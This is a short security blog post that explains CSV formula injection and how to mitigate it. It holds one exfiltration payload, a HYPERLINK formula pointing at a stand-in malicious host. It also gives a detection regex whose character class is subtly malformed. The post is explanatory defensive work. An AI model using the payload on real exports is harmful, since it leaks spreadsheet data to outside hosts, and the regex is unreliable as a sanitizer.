Tabla de contenidos

Title
Title
Tabla de contenidos
Tabla de contenidos
Tabla de contenidos
Title
Title
Title

Ataques

Is that CSV secure? Defining CSV injection vulnerabilities

Jonathan Armas

Analista de seguridad

Actualizado

22 dic 2017

2 min

Comma-Separated Values file (or CSV) is a type of file that stores tabular data, numbers and text in plain text. Each line of the file is a data record and each record consists of one or more fields separated by commas. CSV is a common data exchange format that is widely supported by consumer, business, and scientific applications. As an example, a user may need to transfer information from a database program that stores data in a proprietary format, to a spreadsheet that uses a completely different format. The database program most likely can export its data as "CSV"; the exported CSV file can then be imported by the spreadsheet program.

CSV example

There is a vulnerability in this types of format that the most of programmers ignores, that is "CSV Injection". As OWASP says, it occurs when websites embed untrusted input inside CSV files, when a spreadsheet program is used to open a CSV file, any cell starting with '=' is considered as a formula and crafted formulas can be used to malicious attacks.

CSV injection example

We have a page that stores data on a table and exports it on a CSV file

CSV example

We put some normal data and nothing happens

Normal inputNormal result

But what happens if we put a formula like =2+5 in a field?

Formula inputFormula result

On our table, nothing happens, but when we open the CSV file we get the result of the formula that we introduced. This can be very dangerous if someone introduce a more dangerous code like

  =HYPERLINK("http://dangerous.com?x="&A3&"[CR]

When the user open the file it shows a link with our malicious site

link malicious

Also, we can execute commands on the target with this formula injection, in where we open the calc when someone opens the CSV file

It shows some warnings but the user trust in the source of the file and accept

First warningSecond warning

And then the code execution

Code execution

The effectiveness of this vulnerability is that the user trust on the source of the file without asking himself if is the normal behaviour when someone opens a CSV file and the program asks form permission

Solution

  • First is user awareness, because Windows shows an alert when someone puts command execution code in the CSV file like we’ve seen

  • Second, input validation, the most common characters to do this attack are:

A developer could make a validation like this regex

validation.js.

var regexp = new RegExp(/([=,-,+,@])/g);

And blocking this types of input, also, can put a space between the dangerous character like ' =' to mitigate this vulnerability

if(regexp.test(formData.sdata1)){
  formData.sdata1 = " "+formData.sdata1
}
if(regexp.test(formData.sdata2)){
  formData.sdata2 = " "+formData.sdata2
}

In this example we can see that the spreadsheet program doesn’t calculate the formula and our input is secure

Secure inputSecure result

The source code of the page for testing can be found here.

Get started with Fluid Attacks' ASPM solution right now

Etiquetas:

ciberseguridad

vulnerabilidad

codigo

web

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site